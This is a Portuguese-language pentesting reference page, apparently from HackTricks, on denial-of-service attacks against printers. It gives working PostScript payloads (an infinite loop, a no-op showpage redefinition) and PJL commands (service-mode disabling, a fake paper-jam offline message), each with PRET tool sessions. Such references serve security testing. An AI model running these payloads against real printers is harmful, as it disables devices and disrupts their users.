hacktricks/network-services-pentesting/pentesting-printers/document-processing.md
2023-06-06 18:56:34 +00:00

4.3 KiB

Linguagens de descrição de página permitem loops infinitos ou cálculos que requerem muito tempo de computação. Mesmo linguagens minimalistas como PCL podem ser usadas para fazer upload de macros ou fontes permanentes até que a memória disponível seja consumida.

PostScript

Loops infinitos

%!
{} loop

Usando PRET:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

Redefinir showpage

Ao definir showpage - que é usado em todos os documentos para realmente imprimir a página - para não fazer nada, os trabalhos do PostScript são processados, mas nada será impresso.

true 0 startjob
/showpage {} def

Usando PRET:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality

Ambos códigos de ataque também podem ser escritos em arquivos Sys/Start, startup.ps ou similares para causar uma DoS permanente em dispositivos com disco gravável.

PJL

PJL jobmedia

Comandos PJL proprietários podem ser usados para colocar dispositivos mais antigos da HP, como a série LaserJet 4k, em modo de serviço e desativar completamente toda a funcionalidade de impressão, como mostrado abaixo:

@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF

Usando PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF

Modo offline

Além disso, o padrão PJL define o comando OPMSG que "solicita que a impressora exiba uma mensagem especificada e fique offline" \cite{hp1997pjl}. Isso pode ser usado para simular um atolamento de papel, como mostrado abaixo:

@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"

Usando PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

Saiba mais sobre esses ataques em http://hacking-printers.net/wiki/index.php/Document_processing

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥